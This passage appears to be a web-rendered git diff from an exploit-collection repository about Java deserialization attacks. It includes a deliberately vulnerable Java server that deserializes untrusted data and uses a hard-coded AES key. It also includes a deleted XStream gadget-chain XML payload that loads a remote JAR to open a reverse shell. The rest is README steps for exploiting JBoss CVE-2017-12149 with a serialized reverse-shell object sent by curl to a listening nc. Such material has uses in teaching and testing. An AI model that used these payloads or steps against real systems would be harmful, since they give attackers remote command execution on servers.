}catch (EOFException e){
|
||||
e.printStackTrace();
|
||||
return "\nThe request body not contains a Stream!\n";
|
||||
} catch (Exception e) {
|
||||
return e.toString()+"\n";
|
||||
}
|
||||
|
||||
try {
|
||||
// This cast simulate what occurs in a real server
|
||||
int number = (Integer) ois.readObject();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
} catch (ClassNotFoundException e) {
|
||||
return "\nSerialized class not found in classpath\n";
|
||||
} catch (ClassCastException e){
|
||||
e.printStackTrace();
|
||||
} catch (IncompleteAnnotationException e){
|
||||
e.printStackTrace();
|
||||
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
|
||||
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
|
||||
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
|
||||
}
|
||||
catch (Exception e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return "\nData deserialized!\n";
|
||||
}
|
||||
|
||||
public String deserializeXStream(String xml){
|
||||
|
||||
Class classXStream = null;
|
||||
Class classDomDriver = null;
|
||||
Class classHierarchicalStreamDriver = null;
|
||||
//Class classJsonHierarchicalStreamDriver = null;
|
||||
|
||||
try {
|
||||
|
||||
classHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.HierarchicalStreamDriver");
|
||||
//classJsonHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver");
|
||||
classXStream = Class.forName("com.thoughtworks.xstream.XStream");
|
||||
classDomDriver = Class.forName("com.thoughtworks.xstream.io.xml.DomDriver");
|
||||
|
||||
//Constructor ctrJsonDriver = classJsonHierarchicalStreamDriver.getDeclaredConstructor();
|
||||
Constructor ctrDomDriver = classDomDriver.getDeclaredConstructor();
|
||||
Constructor ctrXStream = classXStream.getDeclaredConstructor(classHierarchicalStreamDriver);
|
||||
|
||||
Object domDriverInstance = ctrDomDriver.newInstance();
|
||||
//Object jsonDriverInstance = ctrJsonDriver.newInstance();
|
||||
Object xstreamInstance = ctrXStream.newInstance(domDriverInstance);
|
||||
|
||||
//Desativado json...
|
||||
//if (xml.startsWith("<"))
|
||||
//xstreamInstance = ctrXStream.newInstance(domDriverInstance);
|
||||
//else
|
||||
// xstreamInstance = ctrXStream.newInstance(jsonDriverInstance);
|
||||
|
||||
Method m = xstreamInstance.getClass().getMethod("fromXML", String.class);
|
||||
m.invoke(xstreamInstance, xml);
|
||||
|
||||
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
return "\nXStream lib not found in classpath. You must add \"xstream-1.4.6.jar\" in -cp param. Ex: \n" +
|
||||
"java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableServer\n\n";
|
||||
} catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return "\nError deserializing XML...\n";
|
||||
}
|
||||
|
||||
return "\nXML deserialized!\n";
|
||||
}
|
||||
|
||||
public byte[] decryptAES(String object, String aesKey){
|
||||
|
||||
byte[] iv = new byte[16];
|
||||
String algorithmName = "AES";
|
||||
|
||||
byte[] cipherText = null;
|
||||
byte[] plainTextWithIV = null;
|
||||
byte[] plainText = null;
|
||||
byte[] key = null;
|
||||
|
||||
try {
|
||||
// first decode object from base64
|
||||
cipherText = new BASE64Decoder().decodeBuffer(object);
|
||||
// use the same harded code key from apache shino
|
||||
key = new BASE64Decoder().decodeBuffer(aesKey);
|
||||
|
||||
} catch (Exception e) { e.printStackTrace(); return null; }
|
||||
|
||||
try {
|
||||
|
||||
IvParameterSpec ivSpec = new IvParameterSpec(iv);
|
||||
Key keySpec = new SecretKeySpec(key, algorithmName);
|
||||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
||||
cipher.init(Cipher.DECRYPT_MODE, keySpec,ivSpec);
|
||||
// decrypt ciphertext and put the IV in the header
|
||||
plainTextWithIV = cipher.doFinal(cipherText);
|
||||
// remove the iv from header of plaintext in order to deserialize it later
|
||||
plainText = new byte[plainTextWithIV.length - iv.length];
|
||||
System.arraycopy(plainTextWithIV, iv.length, plainText, 0, plainText.length);
|
||||
return plainText;
|
||||
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
Binary file not shown.
@ -1,67 +0,0 @@
|
||||
<!--
|
||||
Payload com gadget chain para carregar e executar uma classe remota
|
||||
(hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
|
||||
do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
|
||||
a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
|
||||
Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
|
||||
o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
|
||||
de um LazyMap decorado com a ChainedTransformers.
|
||||
|
||||
Esse XML pode ser usado para validação/exploração de sistemas que realizam a
|
||||
desserialização usando o XStream. O propósito é unica e exclusivamente DIDATICO!
|
||||
NAO utilize em sistemas que você não tenha autorização!
|
||||
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* https://github.com/joaomatosf/JavaDeserH2HC
|
||||
* @joaomatosf
|
||||
-->
|
||||
<set>
|
||||
<org.apache.commons.collections.keyvalue.TiedMapEntry>
|
||||
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
|
||||
<unserializable-parents/>
|
||||
<org.apache.commons.collections.map.LazyMap>
|
||||
<default>
|
||||
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
|
||||
<iTransformers>
|
||||
<org.apache.commons.collections.functors.ConstantTransformer>
|
||||
<iConstant class="java-class">java.net.URLClassLoader</iConstant>
|
||||
</org.apache.commons.collections.functors.ConstantTransformer>
|
||||
<org.apache.commons.collections.functors.InstantiateTransformer>
|
||||
<iParamTypes>
|
||||
<java-class>[Ljava.net.URL;</java-class>
|
||||
</iParamTypes>
|
||||
<iArgs>
|
||||
<url-array>
|
||||
<url>http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar</url>
|
||||
</url-array>
|
||||
</iArgs>
|
||||
</org.apache.commons.collections.functors.InstantiateTransformer>
|
||||
<org.apache.commons.collections.functors.InvokerTransformer>
|
||||
<iMethodName>loadClass</iMethodName>
|
||||
<iParamTypes>
|
||||
<java-class>java.lang.String</java-class>
|
||||
</iParamTypes>
|
||||
<iArgs>
|
||||
<string>JexReverse</string>
|
||||
</iArgs>
|
||||
</org.apache.commons.collections.functors.InvokerTransformer>
|
||||
<org.apache.commons.collections.functors.InstantiateTransformer>
|
||||
<iParamTypes>
|
||||
<java-class>java.lang.String</java-class>
|
||||
<java-class>int</java-class>
|
||||
</iParamTypes>
|
||||
<iArgs>
|
||||
<string>YOUR_BOX_IP</string>
|
||||
<int>PORT_LISTENING</int>
|
||||
</iArgs>
|
||||
</org.apache.commons.collections.functors.InstantiateTransformer>
|
||||
</iTransformers>
|
||||
</factory>
|
||||
</default>
|
||||
<map/>
|
||||
</org.apache.commons.collections.map.LazyMap>
|
||||
</map>
|
||||
<key class="string">foo</key>
|
||||
</org.apache.commons.collections.keyvalue.TiedMapEntry>
|
||||
</set>
|
Binary file not shown.
@ -1,12 +1,7 @@
|
||||
# JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149)
|
||||
* Github[https://github.com/joaomatosf/JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC)
|
||||
* [https://access.redhat.com/security/cve/cve-2017-12149](https://access.redhat.com/security/cve/cve-2017-12149)
|
||||
* 工具GUI[http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip](http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip)
|
||||
# JbossAS 5.x/6.x反序列化RCE (CVE-2017-12149)
|
||||
|
||||
## 漏洞利用
|
||||
1: `javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java`
|
||||
`java -jar jboss_CVE-2017-12149_exp.jar`
|
||||
|
||||
2: `java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port` //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件
|
||||

|
||||
|
||||
3: 打开另外一个终端并且nc开始设置的反弹shell的IP
|
||||
|
||||
4: `curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser`
|
||||
|
16
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README2.md
Normal file
16
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README2.md
Normal file
@ -0,0 +1,16 @@
|
||||
# jboss-_CVE-2017-12149
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
verify_CVE-2017-12149.jar提供命令行模式下验证漏洞,如果漏洞存在返回特征字符串,只需要执行命令:
|
||||
|
||||
```shell
|
||||
$ java -jar verify_CVE-2017-12149.jar http://xxx:8080
|
||||
|
||||
#成功返回:
|
||||
vuln6581362514513155613jboss
|
||||
```
|
||||
|
||||

|
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/1.jpg
Normal file
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/1.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/2.png
Normal file
BIN
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/images/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 24 KiB |
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user